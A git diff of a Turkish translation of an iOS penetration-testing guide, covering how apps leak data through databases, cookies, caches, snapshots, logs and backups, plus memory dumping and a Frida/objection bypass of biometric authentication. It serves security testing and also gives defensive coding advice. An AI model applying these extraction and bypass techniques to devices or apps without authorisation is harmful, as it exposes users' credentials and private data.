CoreData varsayılan olarak verilerini şifrelemez. Ancak, CoreData'ya ek bir şifreleme katmanı eklenebilir. Daha fazla ayrıntı için [GitHub Repo](https://github.com/project-imas/encrypted-core-data) adresine bakın.
|
||||
|
||||
Bir uygulamanın SQLite Core Data bilgilerini `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` yolunda bulabilirsiniz.
|
||||
|
||||
@ -449,7 +438,7 @@ Yap veritabanları sqlite veritabanları olduğundan, önceki bölümde önerile
|
||||
|
||||
### Diğer SQLite Veritabanları
|
||||
|
||||
Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **hassas** **veri** **saklıyor** olabilirler ve bunu şifrelemeden bırakabilirler. Bu nedenle, her zaman uygulama dizinindeki her veritabanını kontrol etmek ilginçtir. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **duyarlı** **veri** **saklıyor** olabilirler ve bunu şifrelemeden bırakabilirler. Bu nedenle, uygulama dizinindeki her veritabanını kontrol etmek her zaman ilginçtir. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
@ -465,7 +454,7 @@ Yanlış yapılandırılmış Firebase veritabanlarını kontrol etmenin yolunu
|
||||
|
||||
### Realm veritabanları
|
||||
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) ve [Realm Swift](https://realm.io/docs/swift/latest/) Apple tarafından sağlanmayan güçlü bir veri depolama alternatifi sunar. Varsayılan olarak, **verileri şifresiz depolar**, belirli bir yapılandırma ile şifreleme mevcuttur.
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) ve [Realm Swift](https://realm.io/docs/swift/latest/) Apple tarafından sağlanmayan veri depolama için güçlü bir alternatif sunar. Varsayılan olarak, **verileri şifrelenmemiş olarak depolar**, belirli bir yapılandırma ile şifreleme mevcuttur.
|
||||
|
||||
Veritabanları şurada bulunmaktadır: `/private/var/mobile/Containers/Data/Application/{APPID}`. Bu dosyaları keşfetmek için, şu gibi komutlar kullanılabilir:
|
||||
```bash
|
||||
@ -490,18 +479,18 @@ fatalError("Error opening realm: \(error)")
|
||||
```
|
||||
### Couchbase Lite Veritabanları
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios), **hafif** ve **gömülü** bir veritabanı motoru olarak tanımlanır ve **belge odaklı** (NoSQL) yaklaşımı takip eder. **iOS** ve **macOS** için yerel olacak şekilde tasarlanmıştır ve verileri sorunsuz bir şekilde senkronize etme yeteneği sunar.
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios), **hafif** ve **gömülü** bir veritabanı motoru olarak tanımlanır ve **belge odaklı** (NoSQL) yaklaşımı takip eder. **iOS** ve **macOS** için yerel olacak şekilde tasarlanmış olup, verileri sorunsuz bir şekilde senkronize etme yeteneği sunar.
|
||||
|
||||
Bir cihazda potansiyel Couchbase veritabanlarını belirlemek için aşağıdaki dizin incelenmelidir:
|
||||
Bir cihazda potansiyel Couchbase veritabanlarını tanımlamak için aşağıdaki dizin incelenmelidir:
|
||||
```bash
|
||||
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
|
||||
```
|
||||
### Çerezler
|
||||
|
||||
iOS, uygulamaların çerezlerini her uygulama klasöründeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Ancak, geliştiriciler bazen bunları **anahtar zincirinde** saklamayı tercih ederler çünkü belirtilen **çerez dosyasına yedeklerde erişilebilir**.
|
||||
iOS, uygulamaların çerezlerini her uygulama klasöründeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Ancak, geliştiriciler bazen bunları **anahtar zincirinde** saklamayı tercih ederler çünkü bahsedilen **çerez dosyası yedeklerde erişilebilir**.
|
||||
|
||||
Çerez dosyasını incelemek için [**bu python betiğini**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) kullanabilir veya objection'ın **`ios cookies get`** komutunu kullanabilirsiniz.\
|
||||
**Bu dosyaları JSON formatına dönüştürmek ve verileri incelemek için objection'ı da kullanabilirsiniz.**
|
||||
**Bu dosyaları JSON formatına** dönüştürmek ve verileri incelemek için objection'ı da kullanabilirsiniz.
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||
[
|
||||
@ -519,9 +508,9 @@ iOS, uygulamaların çerezlerini her uygulama klasöründeki **`Library/Cookies/
|
||||
```
|
||||
### Cache
|
||||
|
||||
Varsayılan olarak NSURLSession, **HTTP istekleri ve yanıtları Cache.db** veritabanında depolar. Bu veritabanı, eğer tokenlar, kullanıcı adları veya başka herhangi bir hassas bilgi önbelleğe alınmışsa **hassas veriler** içerebilir. Önbelleğe alınmış bilgileri bulmak için uygulamanın veri dizinini açın (`/var/mobile/Containers/Data/Application/<UUID>`) ve `/Library/Caches/<Bundle Identifier>` dizinine gidin. **WebKit önbelleği de Cache.db** dosyasında depolanmaktadır. **Objection**, `sqlite connect Cache.db` komutuyla veritabanını açabilir ve etkileşimde bulunabilir, çünkü bu n**ormal bir SQLite veritabanıdır**.
|
||||
Varsayılan olarak NSURLSession, **HTTP istekleri ve yanıtları Cache.db** veritabanında depolar. Bu veritabanı, tokenlar, kullanıcı adları veya başka herhangi bir hassas bilgi önbelleğe alındıysa **hassas veriler** içerebilir. Önbelleğe alınmış bilgileri bulmak için uygulamanın veri dizinini açın (`/var/mobile/Containers/Data/Application/<UUID>`) ve `/Library/Caches/<Bundle Identifier>` dizinine gidin. **WebKit önbelleği de Cache.db** dosyasında depolanmaktadır. **Objection**, `sqlite connect Cache.db` komutuyla veritabanını açabilir ve etkileşimde bulunabilir, çünkü bu n**ormal bir SQLite veritabanıdır**.
|
||||
|
||||
Bu verilerin önbelleğe alınmasını **devre dışı bırakmanız önerilir**, çünkü istek veya yanıt içinde hassas bilgiler içerebilir. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir:
|
||||
Bu verilerin önbelleğe alınmasını **devre dışı bırakmanız önerilir**, çünkü istek veya yanıtta hassas bilgiler içerebilir. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir:
|
||||
|
||||
1. Çıkış yaptıktan sonra Önbelleğe alınmış yanıtların kaldırılması önerilir. Bu, Apple tarafından sağlanan [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) yöntemi ile yapılabilir. Bu yöntemi aşağıdaki gibi çağırabilirsiniz:
|
||||
|
||||
@ -539,9 +528,9 @@ Bu yöntem, Cache.db dosyasından tüm önbelleğe alınmış istekleri ve yanı
|
||||
|
||||
### Snapshots
|
||||
|
||||
Ana düğmeye her bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** böylece uygulamaya geçiş çok daha akıcı bir şekilde yapılabilir. Ancak, eğer mevcut ekranda **hassas** **veri** varsa, bu **görüntüye** **kaydedilir** (bu **yeniden başlatmalarda** **sürdürülür**). Bunlar, uygulamalar arasında geçiş yapmak için ana ekranı çift tıklayarak erişebileceğiniz anlık görüntülerdir.
|
||||
Ana düğmeye her bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** ve uygulamaya geçişi çok daha akıcı bir şekilde yapabilmek için. Ancak, eğer mevcut ekranda **hassas** **veri** varsa, bu **görüntüde** **kaydedilir** (bu **yeniden başlatmalarda** **sürdürülür**). Bunlar, uygulamalar arasında geçiş yapmak için ana ekranı çift tıklayarak erişebileceğiniz anlık görüntülerdir.
|
||||
|
||||
iPhone jailbreak edilmedikçe, **saldırganın** bu ekran görüntülerini görebilmesi için **cihaza** **erişimi** **açık** olmalıdır. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe depolanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez).
|
||||
iPhone jailbreak edilmedikçe, **saldırganın** bu ekran görüntülerini görebilmesi için **cihaza** **erişimi** **açık** olması gerekir. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe depolanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez).
|
||||
|
||||
Bu kötü davranışı önlemenin bir yolu, `ApplicationDidEnterBackground()` fonksiyonunu kullanarak anlık görüntü almadan önce boş bir ekran koymak veya hassas verileri kaldırmaktır.
|
||||
|
||||
@ -595,17 +584,17 @@ Bu saklanan kimlik bilgilerini çıkarmak için, Objection'ın `ios nsurlcredent
|
||||
|
||||
## **Özel Klavyeler ve Klavye Önbelleği**
|
||||
|
||||
iOS 8.0 ve sonrası ile birlikte, kullanıcılar **Ayarlar > Genel > Klavye > Klavyeler** altında yönetilebilen özel klavye uzantıları yükleyebilir. Bu klavyeler genişletilmiş işlevsellik sunarken, tuş vuruşlarını kaydetme ve verileri harici sunuculara iletme riski taşır; ancak kullanıcılar, ağ erişimi gerektiren klavyeler hakkında bilgilendirilir. Uygulamalar, hassas bilgi girişi için özel klavyelerin kullanımını kısıtlayabilir ve kısıtlamalıdır.
|
||||
iOS 8.0 ve sonrasında, kullanıcılar **Ayarlar > Genel > Klavye > Klavyeler** altında yönetilebilen özel klavye uzantıları yükleyebilir. Bu klavyeler genişletilmiş işlevsellik sunarken, tuş vuruşlarını kaydetme ve verileri harici sunuculara iletme riski taşır; ancak kullanıcılar, ağ erişimi gerektiren klavyeler hakkında bilgilendirilir. Uygulamalar, hassas bilgi girişi için özel klavyelerin kullanımını kısıtlayabilir ve kısıtlamalıdır.
|
||||
|
||||
**Güvenlik Önerileri:**
|
||||
|
||||
- Gelişmiş güvenlik için üçüncü taraf klavyelerin devre dışı bırakılması önerilir.
|
||||
- Varsayılan iOS klavyesinin otomatik düzeltme ve otomatik öneri özelliklerinin, `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumunda hassas bilgileri önbellek dosyalarında saklayabileceğini unutmayın. Bu önbellek dosyaları, hassas veriler için düzenli olarak kontrol edilmelidir. Önbellek verilerini temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** yoluyla klavye sözlüğünün sıfırlanması önerilir.
|
||||
- Varsayılan iOS klavyesinin otomatik düzeltme ve otomatik öneri özelliklerinin, `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumundaki önbellek dosyalarında hassas bilgileri saklayabileceğini unutmayın. Bu önbellek dosyaları, hassas veriler için düzenli olarak kontrol edilmelidir. Önbelleğe alınmış verileri temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** yoluyla klavye sözlüğünün sıfırlanması önerilir.
|
||||
- Ağ trafiğini yakalamak, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletmediğini ortaya çıkarabilir.
|
||||
|
||||
### **Metin Alanı Önbelleklemesini Önleme**
|
||||
|
||||
[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), hassas bilgilerin önbelleğe alınmasını önlemek için otomatik düzeltme ve güvenli metin girişi yönetimi için gerekli özellikler sunar. Örneğin, otomatik düzeltmeyi devre dışı bırakmak ve güvenli metin girişini etkinleştirmek şu şekilde yapılabilir:
|
||||
[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), hassas bilgi önbelleklemesini önlemek için otomatik düzeltme ve güvenli metin girişi yönetimi için gerekli özellikler sunar. Örneğin, otomatik düzeltmeyi devre dışı bırakmak ve güvenli metin girişini etkinleştirmek şu şekilde yapılabilir:
|
||||
```objectivec
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
@ -617,7 +606,7 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
```
|
||||
## **Loglar**
|
||||
|
||||
Kod hata ayıklama genellikle **loglama** kullanımını içerir. **Loglar hassas bilgiler içerebilir** ve bu bir risk taşır. Daha önce, iOS 6 ve önceki sürümlerde, loglar tüm uygulamalara erişilebilirdi ve bu da hassas veri sızıntısı riski oluşturuyordu. **Artık uygulamalar yalnızca kendi loglarına erişimle sınırlıdır**.
|
||||
Hata ayıklama kodu genellikle **loglama** kullanımını içerir. **Loglar hassas bilgileri içerebilir** ve bu bir risk taşır. Daha önce, iOS 6 ve önceki sürümlerde, loglar tüm uygulamalara erişilebilirdi ve bu da hassas veri sızıntısı riski oluşturuyordu. **Artık uygulamalar yalnızca kendi loglarına erişimle sınırlıdır**.
|
||||
|
||||
Bu kısıtlamalara rağmen, **açık bir cihaza fiziksel erişimi olan bir saldırgan**, cihazı bir bilgisayara bağlayarak ve **logları okuyarak** bunu istismar edebilir. Logların, uygulamanın kaldırılmasından sonra bile diskte kalmaya devam ettiğini belirtmek önemlidir.
|
||||
|
||||
@ -627,7 +616,7 @@ Uygulamanın kaynak kodunu potansiyel sızıntılar için incelerken, `NSLog`, `
|
||||
|
||||
### **Sistem Loglarını İzleme**
|
||||
|
||||
Uygulamalar çeşitli hassas bilgileri loglar. Bu logları izlemek için, şu araçlar ve komutlar gibi:
|
||||
Uygulamalar, hassas olabilecek çeşitli bilgileri loglar. Bu logları izlemek için, şu araçlar ve komutlar gibi:
|
||||
```bash
|
||||
idevice_id --list # To find the device ID
|
||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
@ -645,33 +634,23 @@ Daha gelişmiş günlükleme için, cihaz kabuğuna bağlanmak ve **socat** kull
|
||||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
```
|
||||
Log aktivitelerini gözlemlemek için komutlar, sorunları teşhis etmek veya loglarda potansiyel veri sızıntılarını belirlemek için paha biçilmez olabilir.
|
||||
|
||||
---
|
||||
|
||||
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) kullanın.\
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
|
||||
Log aktivitelerini gözlemlemek için komutlar, sorunları teşhis etmek veya loglarda potansiyel veri sızıntılarını belirlemek için çok değerli olabilir.
|
||||
|
||||
## Yedeklemeler
|
||||
|
||||
**Otomatik yedekleme özellikleri**, iOS'a entegre edilmiştir ve iTunes (macOS Catalina'ya kadar), Finder (macOS Catalina'dan itibaren) veya iCloud aracılığıyla cihaz verilerinin kopyalarını oluşturmayı kolaylaştırır. Bu yedeklemeler, Apple Pay detayları ve Touch ID yapılandırmaları gibi son derece hassas unsurlar hariç, neredeyse tüm cihaz verilerini kapsar.
|
||||
**Otomatik yedekleme özellikleri**, iOS'a entegre edilmiştir ve iTunes (macOS Catalina'ya kadar), Finder (macOS Catalina'dan itibaren) veya iCloud aracılığıyla cihaz veri kopyalarının oluşturulmasını kolaylaştırır. Bu yedeklemeler, Apple Pay detayları ve Touch ID yapılandırmaları gibi son derece hassas unsurlar hariç, neredeyse tüm cihaz verilerini kapsar.
|
||||
|
||||
### Güvenlik Riskleri
|
||||
|
||||
**Yedeklemelerdeki kurulu uygulamalar ve verileri** dahil edilmesi, potansiyel **veri sızıntısı** ve **yedekleme değişikliklerinin uygulama işlevselliğini değiştirme riski** sorununu gündeme getirir. Bu riskleri azaltmak için, herhangi bir uygulamanın dizininde veya alt dizinlerinde hassas bilgilerin düz metin olarak saklanmaması önerilir.
|
||||
**Yedeklemelerdeki yüklü uygulamalar ve verileri** dahil edilmesi, potansiyel **veri sızıntısı** ve **yedekleme değişikliklerinin uygulama işlevselliğini değiştirme riski** sorununu gündeme getirir. Bu riskleri azaltmak için, herhangi bir uygulamanın dizininde veya alt dizinlerinde hassas bilgilerin **düz metin olarak saklanmaması** önerilir.
|
||||
|
||||
### Yedeklemelerden Dosyaları Hariç Tutma
|
||||
|
||||
`Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, `NSURL setResourceValue:forKey:error:` ile `NSURLIsExcludedFromBackupKey` kullanarak belirli dosyaları veya dizinleri yedeklemelerden hariç tutabilir. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini korumak için kritik öneme sahiptir.
|
||||
`Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, `NSURL setResourceValue:forKey:error:` ile `NSURLIsExcludedFromBackupKey` kullanarak belirli dosyaları veya dizinleri yedeklemelerden hariç tutabilirler. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini korumak için kritik öneme sahiptir.
|
||||
|
||||
### Açıklar için Test Etme
|
||||
### Açıkları Test Etme
|
||||
|
||||
Bir uygulamanın yedekleme güvenliğini değerlendirmek için, önce **bir yedek oluşturun** ve ardından [Apple'ın resmi belgeleri](https://support.apple.com/en-us/HT204215) rehberliğinde yedeği bulun. Uygulama davranışını etkileyebilecek hassas verileri veya yapılandırmaları analiz edin.
|
||||
Bir uygulamanın yedekleme güvenliğini değerlendirmek için, önce **bir yedek oluşturun** ve ardından [Apple'ın resmi belgeleri](https://support.apple.com/en-us/HT204215) rehberliğinde yedeği bulun. Uygulama davranışını etkileyebilecek hassas veriler veya yapılandırmalar için yedeği analiz edin.
|
||||
|
||||
Hassas bilgilere, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanarak ulaşılabilir. Şifreli yedeklemeler için, şifrelemenin varlığı, yedeğin kökündeki "Manifest.plist" dosyasındaki "IsEncrypted" anahtarı kontrol edilerek doğrulanabilir.
|
||||
```xml
|
||||
@ -698,7 +677,7 @@ Bir uygulamanın belleğinde saklanan hassas bilgilerle ilgilenirken, bu veriler
|
||||
|
||||
## **Bir Bellek Dökümünü Alma ve Analiz Etme**
|
||||
|
||||
Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar, bir uygulamanın işlem belleğini dökme imkanı sunar. Döküm alındıktan sonra, bu verileri analiz etmek, aradığınız bilginin doğasına bağlı olarak çeşitli araçlar gerektirir.
|
||||
Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar, bir uygulamanın işlem belleğini dökme imkanı sunar. Döküm alındıktan sonra, bu verilerin analizi, aradığınız bilginin niteliğine bağlı olarak çeşitli araçlar gerektirir.
|
||||
|
||||
Bir bellek dökümünden dizeleri çıkarmak için `strings` veya `rabin2 -zz` gibi komutlar kullanılabilir:
|
||||
```bash
|
||||
@ -708,7 +687,7 @@ $ strings memory > strings.txt
|
||||
# Extracting strings using rabin2
|
||||
$ rabin2 -ZZ memory > strings.txt
|
||||
```
|
||||
Daha ayrıntılı analiz için, belirli veri türlerini veya desenlerini arama da dahil olmak üzere, **radare2** kapsamlı arama yetenekleri sunar:
|
||||
Daha ayrıntılı analiz için, belirli veri türlerini veya desenlerini arama dahil, **radare2** geniş arama yetenekleri sunar:
|
||||
```bash
|
||||
$ r2 <name_of_your_dump_file>
|
||||
[0x00000000]> /?
|
||||
@ -729,13 +708,13 @@ Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hard
|
||||
|
||||
### Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı
|
||||
|
||||
Geliştiriciler **kullanımdan kaldırılmış algoritmalar** kullanarak yetkilendirme **kontrolleri** yapmamalı, **veri** saklamamalı veya **göndermemelidir**. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash** kullanılıyorsa, tuz ile birlikte **brute-force** **dirençli** hash'ler kullanılmalıdır.
|
||||
Geliştiriciler **kullanımdan kaldırılmış algoritmalar** kullanarak yetkilendirme **kontrolleri** yapmamalı, **veri** saklamamalı veya **göndermemelidir**. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte brute-force **dirençli** hash'ler kullanılmalıdır.
|
||||
|
||||
### Kontrol
|
||||
|
||||
Kodda **hardcoded** şifreler/gizli bilgiler bulup bulamayacağınızı, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı **zayıf** **kriptografi** algoritmaları kullanıp kullanmadığını kontrol etmek için ana kontrolleri gerçekleştirin.
|
||||
Kodda **hardcoded** şifreler/gizli bilgiler bulup bulamayacağınızı, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı **zayıf** **kriptografi** algoritmaları kullanıp kullanmadığını kontrol etmek için ana kontrolleri gerçekleştirmek önemlidir.
|
||||
|
||||
Bazı **crypto** **kütüphanelerini** otomatik olarak **objection** ile **izleyebileceğinizi** bilmek ilginçtir:
|
||||
Bazı **kripto** **kütüphanelerini** otomatik olarak **objection** ile **izleyebileceğinizi** bilmek ilginçtir:
|
||||
```swift
|
||||
ios monitor crypt
|
||||
```
|
||||
@ -743,14 +722,14 @@ Daha fazla bilgi için iOS kriptografik API'leri ve kütüphaneleri hakkında [h
|
||||
|
||||
## Yerel Kimlik Doğrulama
|
||||
|
||||
**Yerel kimlik doğrulama**, özellikle uzaktan bir uç noktada kriptografik yöntemlerle erişimi korumak söz konusu olduğunda kritik bir rol oynamaktadır. Buradaki öz, uygun bir uygulama olmadan yerel kimlik doğrulama mekanizmalarının aşılabileceğidir.
|
||||
**Yerel kimlik doğrulama**, özellikle uzaktan bir uç noktada kriptografik yöntemlerle erişimi korumak söz konusu olduğunda kritik bir rol oynar. Buradaki öz, uygun bir uygulama olmadan yerel kimlik doğrulama mekanizmalarının aşılabileceğidir.
|
||||
|
||||
Apple'ın [**Yerel Kimlik Doğrulama çerçevesi**](https://developer.apple.com/documentation/localauthentication) ve [**anahtar zinciri**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html), geliştiricilerin kullanıcı kimlik doğrulama diyaloglarını kolaylaştırmaları ve gizli verileri güvenli bir şekilde yönetmeleri için sağlam API'ler sunar. Secure Enclave, Touch ID için parmak izi kimliğini güvence altına alırken, Face ID biyometrik verileri tehlikeye atmadan yüz tanımaya dayanır.
|
||||
|
||||
Touch ID/Face ID'yi entegre etmek için geliştiricilerin iki API seçeneği vardır:
|
||||
|
||||
- **`LocalAuthentication.framework`**: Biyometrik verilere erişim olmadan yüksek düzeyde kullanıcı kimlik doğrulaması için.
|
||||
- **`Security.framework`**: Biyometrik kimlik doğrulaması ile gizli verileri güvence altına alarak daha düşük düzeyde anahtar zinciri hizmetlerine erişim için. Çeşitli [açık kaynaklı sarmalayıcılar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtar zinciri erişimini daha basit hale getirir.
|
||||
- **`LocalAuthentication.framework`** biyometrik verilere erişim olmadan yüksek düzeyde kullanıcı kimlik doğrulaması için.
|
||||
- **`Security.framework`** biyometrik kimlik doğrulaması ile gizli verileri güvence altına alarak daha düşük düzeyde anahtar zinciri hizmetlerine erişim için. Çeşitli [açık kaynaklı sarmalayıcılar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtar zinciri erişimini daha basit hale getirir.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ancak, hem `LocalAuthentication.framework` hem de `Security.framework` zafiyetler sunar, çünkü esasen kimlik doğrulama süreçleri için veri iletmeden boolean değerleri döndürürler, bu da onları aşılabilir hale getirir (bkz. [Bana öyle dokunma, David Lindner ve diğerleri](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
@ -768,9 +747,9 @@ Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden dönen bool
|
||||
|
||||
iOS uygulamalarında **yerel kimlik doğrulama** uygulamak, kimlik doğrulama token'ları gibi gizli verileri güvenli bir şekilde depolamak için **anahtar zinciri API'lerini** kullanmayı içerir. Bu süreç, verilerin yalnızca kullanıcının cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulama ile erişilebileceğini garanti eder.
|
||||
|
||||
Anahtar zinciri, `SecAccessControl` niteliği ile öğeleri ayarlama yeteneği sunar; bu, kullanıcı Touch ID veya cihaz şifresi ile başarılı bir şekilde kimlik doğrulayana kadar öğeye erişimi kısıtlar. Bu özellik, güvenliği artırmak için kritik öneme sahiptir.
|
||||
Anahtar zinciri, kullanıcı başarılı bir şekilde Touch ID veya cihaz şifresi ile kimlik doğrulaması yapana kadar öğeye erişimi kısıtlayan `SecAccessControl` niteliği ile öğeleri ayarlama yeteneği sunar. Bu özellik, güvenliği artırmak için kritik öneme sahiptir.
|
||||
|
||||
Aşağıda, bu güvenlik özelliklerini kullanarak anahtar zincirine bir dize kaydetme ve alma yöntemlerini gösteren Swift ve Objective-C'de kod örnekleri bulunmaktadır. Örnekler, Touch ID kimlik doğrulaması gerektirecek şekilde erişim kontrolünü nasıl ayarlayacağınızı ve verilerin yalnızca kurulduğu cihazda erişilebilir olmasını sağlamak için bir cihaz şifresinin yapılandırılması koşulunu göstermektedir.
|
||||
Aşağıda, bu güvenlik özelliklerini kullanarak bir dizeyi anahtar zincirine kaydetme ve geri alma yöntemlerini gösteren Swift ve Objective-C'de kod örnekleri bulunmaktadır. Örnekler, Touch ID kimlik doğrulaması gerektirecek şekilde erişim kontrolünü nasıl ayarlayacağınızı ve verilerin yalnızca kurulduğu cihazda erişilebilir olmasını sağlamak için bir cihaz şifresinin yapılandırılması koşulunu göstermektedir.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -843,7 +822,7 @@ if (status == noErr) {
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Artık anahtarlıkta kaydedilen öğeyi talep edebiliriz. Anahtarlık hizmetleri, kullanıcıya kimlik doğrulama penceresini sunacak ve uygun bir parmak izi sağlanıp sağlanmadığına bağlı olarak veriyi veya nil döndürecektir.
|
||||
Artık anahtarlıkta kaydedilen öğeyi talep edebiliriz. Anahtarlık hizmetleri, kullanıcıya kimlik doğrulama penceresini gösterecek ve uygun bir parmak izi sağlanıp sağlanmadığına bağlı olarak veri veya nil döndürecektir.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -901,7 +880,7 @@ Bir uygulamadaki framework'lerin kullanımı, uygulama ikilisinin paylaşılan d
|
||||
```bash
|
||||
$ otool -L <AppName>.app/<AppName>
|
||||
```
|
||||
Eğer `LocalAuthentication.framework` bir uygulamada kullanılıyorsa, çıktı aşağıdaki iki satırı da içerecektir (unutmayın ki `LocalAuthentication.framework` arka planda `Security.framework` kullanır):
|
||||
Eğer bir uygulamada `LocalAuthentication.framework` kullanılıyorsa, çıktı aşağıdaki iki satırı da içerecektir (unutmayın ki `LocalAuthentication.framework` arka planda `Security.framework` kullanır):
|
||||
```bash
|
||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
@ -912,7 +891,7 @@ Eğer `Security.framework` kullanılıyorsa, yalnızca ikincisi gösterilecektir
|
||||
|
||||
#### **Objection**
|
||||
|
||||
**Objection Biometrics Bypass** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) yer alan bir teknik, **LocalAuthentication** mekanizmasını aşmak için mevcuttur. Bu yaklaşımın temeli, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida** kullanmaktır; bu sayede, gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu elde edilir. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlatmak için özellikle faydalıdır.
|
||||
**Objection Biometrics Bypass** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) yer alan bir teknik, **LocalAuthentication** mekanizmasını aşmak için mevcuttur. Bu yaklaşımın temeli, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida** kullanmaktır; bu sayede, gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu elde edilir. Bu, hatalı biyometrik kimlik doğrulama süreçlerini aşmak için özellikle faydalıdır.
|
||||
|
||||
Bu atlatmayı etkinleştirmek için aşağıdaki komut kullanılır:
|
||||
```bash
|
||||
@ -1039,7 +1018,7 @@ burp-configuration-for-ios.md
|
||||
### Hostname Kontrolü
|
||||
|
||||
TLS sertifikasını doğrularken yaygın bir sorun, sertifikanın **güvenilir** bir **CA** tarafından imzalanıp imzalanmadığını kontrol etmektir, ancak **sertifikanın** **hostname**'inin erişilen hostname olup olmadığını **kontrol etmemektir**.\
|
||||
Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, **farklı bir hostname için Burp ile yeni bir sertifika oluşturabilir** ve bunu kullanabilirsiniz. Uygulama hala çalışıyorsa, o zaman bir şeyler savunmasızdır.
|
||||
